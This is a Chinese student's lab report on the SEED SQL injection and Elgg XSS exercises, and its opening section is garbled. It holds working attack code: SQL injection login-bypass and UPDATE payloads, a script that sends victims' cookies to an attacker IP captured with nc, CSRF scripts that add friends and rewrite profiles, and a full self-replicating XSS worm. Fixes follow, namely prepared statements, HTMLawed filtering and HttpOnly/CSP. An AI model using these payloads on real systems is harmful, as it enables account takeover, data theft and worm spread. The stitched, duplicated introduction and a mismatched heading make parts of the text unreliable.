20252806 2025-2026-2 《网络攻防实践》第十周作业
1.实践内容
1.1 SEED SQL注入攻击与防御实验
我们已搭建并托管Web应用程序(地址:www.SEEDLabSQLInjection.com),该应用为简单员工管理系统,包含管理员(特权角色,可管理所有员工个人资料)和普通员工(仅可查看、更新自身个人资料)两种核心角色。实验需完成四项核心任务:一是熟悉SQL语句,通过操作Users数据库及其中的creditential表(存储员工eid、密码、薪水、ssn等个人信息),掌握SQL查询语法;二是实施SELECT语句SQL注入攻击,利用Web应用的SQL输入漏洞,在未知密码的情况下成功登录应用;三是实施UPDATE语句SQL注入攻击,通过员工个人信息更新界面,对UPDATE语句发起注入攻击;四是进行SQL注入防御,针对发现的漏洞完成修复,构建安全的SQL查询机制。
1.2 SEED XSS跨站脚本攻击实验(Elgg)
本实验基于预先配置的Ubuntu VM镜像中的Elgg Web应用程序,核心目标是利用Elgg存在的XSS漏洞实施攻击,最终实现XSS蠕虫传播,即任何查看受感染用户个人资料的用户都会被感染。实验需完成一系列攻击及防御任务:在个人Elgg配置文件中嵌入JavaScript程序,使其他用户查看时自动弹出警报窗口;通过恶意脚本弹窗显示用户Cookie信息,并将受害者的Cookie发送至攻击者指定地址实现窃取;借助JavaScript程序,无需受害者干预自动完成Elgg好友添加操作(需分析Elgg加好友流程);编写脚本使受害者访问Alice页面时,个人资料在无干预情况下被篡改;开发可自我传播的XSS蠕虫,实现恶意脚本在用户间自动扩散;最后针对Elgg的XSS漏洞部署防御措施,阻断攻击及蠕虫传播。
1.3 Web应用体系结构、安全威胁及信息收集
Web20252907 2025-2026-2 《网络攻防实践》第十周作业
1.实践内容
1.1 SEED SQL注入攻击与防御实验
我们已搭建并托管Web应用程序(地址:www.SEEDLabSQLInjection.com),该应用为简单员工管理系统,包含管理员(特权角色,可管理所有员工个人资料)和普通员工(仅可查看、更新自身个人资料)两种核心角色。实验需完成四项核心任务:一是熟悉SQL语句,通过操作Users数据库及其中的creditential表(存储员工eid、密码、薪水、ssn等个人信息),掌握SQL查询语法;二是实施SELECT语句SQL注入攻击,利用Web应用的SQL输入漏洞,在未知密码的情况下成功登录应用;三是实施UPDATE语句SQL注入攻击,通过员工个人信息更新界面,对UPDATE语句发起注入攻击;四是进行SQL注入防御,针对发现的漏洞完成修复,构建安全的SQL查询机制。
1.2 SEED XSS跨站脚本攻击实验(Elgg)
本实验基于预先配置的Ubuntu VM镜像中的Elgg Web应用程序,核心目标是利用Elgg存在的XSS漏洞实施攻击,最终实现XSS蠕虫传播,即任何查看受感染用户个人资料的用户都会被感染。实验需完成一系列攻击及防御任务:在个人Elgg配置文件中嵌入JavaScript程序,使其他用户查看时自动弹出警报窗口;通过恶意脚本弹窗显示用户Cookie信息,并将受害者的Cookie发送至攻击者指定地址实现窃取;借助JavaScript程序,无需受害者干预自动完成Elgg好友添加操作(需分析Elgg加好友流程);编写脚本使受害者访问Alice页面时,个人资料在无干预情况下被篡改;开发可自我传播的XSS蠕虫,实现恶意脚本在用户间自动扩散;最后针对Elgg的XSS漏洞部署防御措施,阻断攻击及蠕虫传播。
1.3 Web应用体系结构、安全威胁及信息收集
Web应用采用四层分层架构,从上至下依次为客户端(以浏览器为主)、Web服务器、应用服务器、数据库服务器,各层级协同完成用户请求处理与响应,核心流程为用户通过浏览器发起HTTP请求,经Web服务器转发至应用服务器处理业务逻辑并调用数据库,最终处理结果沿原路径返回并由浏览器呈现,该架构可隔离关注点、降低开发复杂度,便于分工与拓展。结合攻击目标与作用层面,Web应用安全威胁分为四类:应用层攻击(最普遍,针对应用逻辑漏洞,如SQL注入、XSS等,利用用户输入处理缺陷)、服务器攻击(针对Web服务器及中间件漏洞,获取权限或瘫痪服务)、数据层攻击(借助数据库漏洞或权限不当,窃取、篡改敏感数据)、客户端攻击(针对终端用户,通过钓鱼、恶意脚本等窃取会话信息)。信息收集是Web攻防首要环节,核心是获取目标应用相关信息,支撑后续漏洞挖掘与攻击实施,主要包括基础信息(域名、IP、端口、服务器及系统版本)、目录与文件(后台界面、备份文件等敏感路径)、应用信息(开发语言、CMS、数据库等技术栈),常用工具包括Nmap、DirBuster、Burp Suite、AWVS、Wappalyzer及Shodan、FOFA等辅助平台。
1.4 主流Web应用攻击技术
主流Web应用攻击技术以SQL注入和XSS跨站脚本攻击为主,两者核心原理、步骤、分类及危害各有侧重。SQL注入攻击的核心是Web应用未严格过滤用户输入,导致恶意输入被拼接至SQL查询语句并执行,针对开发者编程疏忽而非系统漏洞,攻击步骤为判断注入点、探测数据库结构、提取敏感数据、提升攻击权限,常见类型包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠查询及宽字节注入、二次注入等特殊类型。XSS跨站脚本攻击的核心是Web应用未有效过滤转义用户输入,导致恶意脚本(多为JavaScript,含HTML、CSS)嵌入网页,其他用户访问时脚本自动执行,本质是利用网页对用户输入的信任,分为反射型(非持久型,通过URL参数传入,单次生效)、存储型(持久型,存储至数据库,范围广、危害久)、DOM型(无需服务器交互,通过DOM解析触发)三类,主要危害包括窃取Cookie、会话劫持、钓鱼攻击、内网探测及传播XSS蠕虫等。应用采用四层分层架构,从上至下依次为客户端(以浏览器为主)、Web服务器、应用服务器、数据库服务器,各层级协同完成用户请求处理与响应,核心流程为用户通过浏览器发起HTTP请求,经Web服务器转发至应用服务器处理业务逻辑并调用数据库,最终处理结果沿原路径返回并由浏览器呈现,该架构可隔离关注点、降低开发复杂度,便于分工与拓展。结合攻击目标与作用层面,Web应用安全威胁分为四类:应用层攻击(最普遍,针对应用逻辑漏洞,如SQL注入、XSS等,利用用户输入处理缺陷)、服务器攻击(针对Web服务器及中间件漏洞,获取权限或瘫痪服务)、数据层攻击(借助数据库漏洞或权限不当,窃取、篡改敏感数据)、客户端攻击(针对终端用户,通过钓鱼、恶意脚本等窃取会话信息)。信息收集是Web攻防首要环节,核心是获取目标应用相关信息,支撑后续漏洞挖掘与攻击实施,主要包括基础信息(域名、IP、端口、服务器及系统版本)、目录与文件(后台界面、备份文件等敏感路径)、应用信息(开发语言、CMS、数据库等技术栈),常用工具包括Nmap、DirBuster、Burp Suite、AWVS、Wappalyzer及Shodan、FOFA等辅助平台。
1.4 主流Web应用攻击技术
主流Web应用攻击技术以SQL注入和XSS跨站脚本攻击为主,两者核心原理、步骤、分类及危害各有侧重。SQL注入攻击的核心是Web应用未严格过滤用户输入,导致恶意输入被拼接至SQL查询语句并执行,针对开发者编程疏忽而非系统漏洞,攻击步骤为判断注入点、探测数据库结构、提取敏感数据、提升攻击权限,常见类型包括联合查询注入、报错注入、布尔盲注、时间盲注、堆叠查询及宽字节注入、二次注入等特殊类型。XSS跨站脚本攻击的核心是Web应用未有效过滤转义用户输入,导致恶意脚本(多为JavaScript,含HTML、CSS)嵌入网页,其他用户访问时脚本自动执行,本质是利用网页对用户输入的信任,分为反射型(非持久型,通过URL参数传入,单次生效)、存储型(持久型,存储至数据库,范围广、危害久)、DOM型(无需服务器交互,通过DOM解析触发)三类,主要危害包括窃取Cookie、会话劫持、钓鱼攻击、内网探测及传播XSS蠕虫等。
2.实践过程
2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
在百度网盘或者这个链接下载SEEDUbuntu-16.04-32bit.zip
https://seedsecuritylabs.org/lab_env.html
下载实验需要用到的SEEDUbuntu-16.04-32虚拟机资源,下.载完成后安装配置虚拟机,结束后启动新安装的SEED虚拟机.
点击"创建新的虚拟机" --> "自定义" --> Workstation17.x --> "稍后安装操作系统" --> "Linux" --> "Ubuntu" --> "网络地址转换" --> "LSI Logic" --> "SCSI" --> 现有虚拟磁盘中的"SEEDUbuntu-16.04-32bit.vmdk" --> 将现有磁盘转换为更新格式?保持现有格式。




2.1.2VMware Tools 安装(重要!如果不安装,后续实现会出现缩放问题和无法通过虚拟机编辑 -> 粘贴的方式粘贴大段代码)
虚拟机勾选安装 VMware Tools 之后,在 Ubuntu 的文件管理菜单找到压缩包并复制到 home 目录下,打开终端进入 home 目录下,输入命令:
tar -zxvf 压缩文件名
解压后输入命令:
cd vmware-tools-distrib
执行安装:
sudo ./vmware-install.pl




2.1.3 主机名配置
将虚拟机主机名永久设置为 zsh,确保终端和系统标识统一:
# 切换到root用户(密码:seedubuntu)
su -
# 临时生效主机名
hostname zsh
# 验证主机名
hostname

# 永久修改主机名配置文件
echo "zsh" > /etc/hostname
# 修改hosts文件添加本地映射,解决sudo无法解析主机问题
sed -i 's/127.0.0.1 localhost/127.0.0.1 localhost zsh/' /etc/hosts
# 退出root并重新打开终端验证
exit

2.1.4 基础服务启动
# 启动Apache2 Web服务器
sudo service apache2 start
# 查看服务状态,确认显示 active (running)
sudo service apache2 status

2.2 SEED SQL注入攻击与防御实验
使用 root 用户登录 MySQL 数据库(默认密码 seedubuntu):
mysql -u root -pseedubuntu

2.2.1 靶场文件预处理
将所有需要编辑的后端文件添加 2901_ 前缀,保留原文件作为备份。注意:由于提高实验成功率,本次只在第一个实验进行此操作,之后的实验会将文件复原。建议读者忽略这个步骤。
# 进入SQL注入靶场目录
cd /var/www/SQLInjection/
# 备份原始文件
cp unsafe_home.php unsafe_home.php.bak
cp unsafe_edit_backend.php unsafe_edit_backend.php.bak
# 重命名后端文件
mv unsafe_home.php 2901_unsafe_home.php
mv unsafe_edit_backend.php 2901_unsafe_edit_backend.php
# 修改前端表单指向新的后端文件
sed -i 's/action="unsafe_home.php"/action="2901_unsafe_home.php"/g' index.html
sed -i 's/action="unsafe_edit_backend.php"/action="2901_unsafe_edit_backend.php"/g' unsafe_edit_frontend.php
输入命令use Users切换到Users数据库,再输入命令show tables;查看数据库中所有的表

输入命令select * from credential;查询表项

输入条件,查询Name为‘Boby’的相关信息‘
select * from credential where Name = 'Boby';

2.2.2 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。
浏览器打开www.SEEDLabSQLInjection.com网页。

按F12进入开发者模式,任意输入用户名和密码点击登录。发现登录过程中是使用 get请求访unsafe_home.php。

通过本地文件查看他的源码/var/www/SQLInjection/unsafe_edit_frontend.php。发现是直接将用户输入拼接到SQL语句中。这里存在典型的SQL注入漏洞。

当输入Admin'#作为用户名时,实际执行的SQL变为:SELECT ... FROM CREDENTIAL WHERE name='Admin'#'。也就是只要数据库中存在用户名为Admin的记录,攻击者即可绕过密码验证获取管理员权限。


2.2.3 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。
任意输入点击保存。发现登录过程中同样使用get请求访unsafe_edit_backend.php。

用终端打开vim /var/www/SQLInjection/unsafe_edit_backend.php查看页面源代码.观察代码可以发现查询语句回改变不应改变的字段的值,例如假设输入nickname字段为‘,Salary='1' where Name='Ryan';#,最终结果不该改变的salary值会被成功修改

打开Edit Profile页面,在nickname栏输入', Salary='20252907' where name='Ryan';#,点击Save后发现界面中的Salary项成功修改


打开Edit Profile页面,在nickname栏输入', Salary='20252907' where name='Ryan';#,点击Save后发现界面中的Salary项成功修改
2.2.4 SQL对抗:修复上述SQL注入攻击漏洞
这里unsafe_home.php文件默认为只读,因此要先修改unsafe_home.php文件权限为可以编辑

修改unsafe_home.php中的内容
$sql = $conn->prepare("SELECT id, name, eid, salary,birth, ssn, phoneNumber,address,email,nickname,Password From credential WHERE name= ? and Password=?;");
$sql->bind_param("ss",$input_uname,$hashed_pwd);
原始内容:

修改后内容:

测试是否还存在SQL注入漏洞。输入Admin’#发现不能成功登录了,说明漏洞修复成功。


2.3 SEED XSS跨站脚本攻击实验、
2.3.1 发布恶意消息,显示报警窗口
在浏览器中访问 http://www.xsslabelgg.com,并登录Alice的账号(使用账号:Alice,密码:seedalice 进行登录)


点击Alice头像进入主页,再选择 Edit profile,最后在 Brief description中输入XSS攻击代码 。

输入:<script>alert("zsh");</script>


2.3.2 弹窗显示cookie信息:将cookie信息显示。
将Brief description中的信息更改,点击保存则可以弹出cookie信息。
<script> alert(document.cookie);</script>


2.3.3 窃取受害者的cookies:将cookie发送给攻击者
打开终端命令行输入ifconfig查看本机ip地址为192.168.200.10

构造窃取 Cookie 的恶意代码,将 Cookie 发送到攻击者监听的 500 端口:
<script>document.write('<img src=http://192.168.200.10:500?host=zsh&c='+escape(document.cookie) + ' >');</script>
在攻击者终端开启端口监听:
sudo nc -l 500 -v

使用 Boby(密码 seedboby)账号登录 Elgg,访问 Alice 的个人主页。
查看攻击者终端,成功接收到 Boby 的 Cookie 信息。

2.3.4:成为受害者的朋友(自动操作)
手动添加 Boby 为好友,同时按 F12 打开浏览器开发者工具,切换到 "Network" 标签,分析加好友请求:
- 请求地址:http://www.xsslabelgg.com/action/friends/add
- 请求方法:GET
- 必要参数:friend(好友 ID)、__elgg_ts(时间戳)、__elgg_token(CSRF 令牌)

构造自动加好友的 JavaScript 代码,放入 Alice 的 "About me" 字段(需切换到 "Edit HTML" 模式):
<script type="text/javascript">window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
// 44为Samy的用户ID
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44&from=zsh" + ts + token;Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}</script>

使用 Samy 账号(密码 seedsamy)登录 Elgg,访问 Alice 的个人主页。


查看 Samy 的好友列表,发现已自动添加 Alice 为好友,自动操作成功。

2.3.5:修改受害者的信息
分析 Elgg 修改个人资料的 POST 请求,构造自动修改信息的代码:
<script type="text/javascript">window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>已被主机zsh的XSS攻击篡改!</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";// 排除攻击者自己
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}}</script>
将代码放入 Alice 的 "About me" 字段,使用 Boby 账号访问 Alice 主页。


查看 Boby 的个人资料,发现 "About me" 已被修改为"已被主机 zsh 的 XSS 攻击篡改!",信息篡改成功。

2.3.6:编写 XSS 蠕虫(自动传播)
构造具有自我复制能力的 XSS 蠕虫代码,将自身注入到受害者的个人资料中:
<script id="worm" type="text/javascript">window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>主机zsh的XSS蠕虫已感染!"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send(content);
}}</script>

将代码放入 Alice 的 "About me" 字段,使用 Boby 账号访问 Alice 主页,Boby 被感染。

使用 Admin 账号(密码 seedelgg)访问 Boby 主页,Admin 也被感染,证明蠕虫可以在用户之间自动传播。

2.3.7:对抗 XSS 攻击
使用 Admin 账号登录 Elgg,点击右上角 "Account" -> "Administration" -> "Plugins"。

找到 "HTMLawed" 插件(按首字母排序),点击 "Activate" 启用该插件(该插件用于过滤和净化 HTML 输入)。
验证防御效果:再次访问被感染的用户主页,恶意代码以明文形式显示,不再执行;尝试注入新的 XSS 代码,系统自动过滤,攻击失效。


补充防御措施:
- 设置 Cookie 的 HttpOnly 属性,防止 JavaScript 读取 Cookie。
- 部署内容安全策略(CSP),限制页面可执行脚本的来源。
三、学习中遇到的问题及解决方法
| 问题描述 | 解决方法 |
|---|---|
| 执行 sudo 命令时提示 "unable to resolve host zsh" | 已在主机名配置步骤中修改 /etc/hosts 文件,添加 127.0.0.1 localhost zsh 映射,问题解决 |
| SQL 语句执行报错 "ERROR 1064 (42000)" | 检查 SQL 语句末尾是否添加分号,修正语法错误 |
| Ubuntu 虚拟机无法与主机复制粘贴;页面显示不全导致按钮无法使用 | 下载与 VMware 版本匹配的 VMware Tools 10.3.26,手动挂载安装 |
四、实践总结
本次实验通过实际操作深入理解了 SQL 注入和 XSS 这两种最常见的 Web 应用漏洞的原理与危害。从攻击角度看,一个小小的输入验证漏洞就可能导致整个数据库泄露、用户会话被劫持甚至系统被完全控制;从防御角度看,参数化查询和输入过滤是抵御这两种攻击的最有效手段。
在完成第十周 Web 应用攻防实验后,我收获满满,也真切体会到网络攻防实践的严谨性和实操难度。本次实验主要围绕 SQL 注入与 XSS 跨站脚本攻击展开实操,整个过程既有攻破漏洞时的成就感,也在不断踩坑、排错中积累了经验。在 SQL 注入实验中,我先熟悉数据库表结构、探测注入点漏洞,通过构造Admin'#恶意语句成功绕过登录验证,还利用 UPDATE 语句篡改管理员账号信息,切实感受到网站若未做用户输入过滤,会留下极大的安全隐患。在 XSS 跨站脚本实验里,我从简单嵌入弹窗脚本、窃取用户 Cookie 入手,进一步尝试编写脚本实现自动添加好友、篡改受害者资料;实操中还因混淆用户 GUID 出现逻辑错误,不小心改动了自己的账号资料,经过反复调试修改才把问题解决。实验初期我还遇到虚拟机无法粘贴内容、共享文件夹挂载失败等问题,通过查阅相关资料、重装配套工具,借助 vmhgfs-fuse 命令顺利搭建文件共享环境,扫清了实验障碍。经过这次完整的 Web 攻防实践,我不仅系统掌握了 SQL 注入和 XSS 攻击的底层原理与实操流程,直观了解了恶意脚本的传播危害,更深刻意识到开发环节的一处细小疏忽,都可能演变为致命安全漏洞。同时也让我明白,网络安全需要攻防并重、主动做好漏洞防护,在提升自身实操能力和问题排查能力的同时,也看清了日常网页浏览中潜藏的安全风险,由衷感受到 IT 开发者在维护网络环境、守护网民安全上网方面的重要价值。
整个实验过程中,我深刻体会到网络安全的攻防对抗特性:攻击者不断寻找新的利用方式,防御者则需要不断完善防护措施。作为未来的网络安全从业者,我们不仅要掌握攻击技术,更要学会从攻击者的角度思考问题,提前发现并修复系统中的漏洞。同时,必须时刻牢记网络安全法律法规和职业道德,所有技术学习都应在合法授权的环境中进行,绝不能将所学知识用于非法用途。
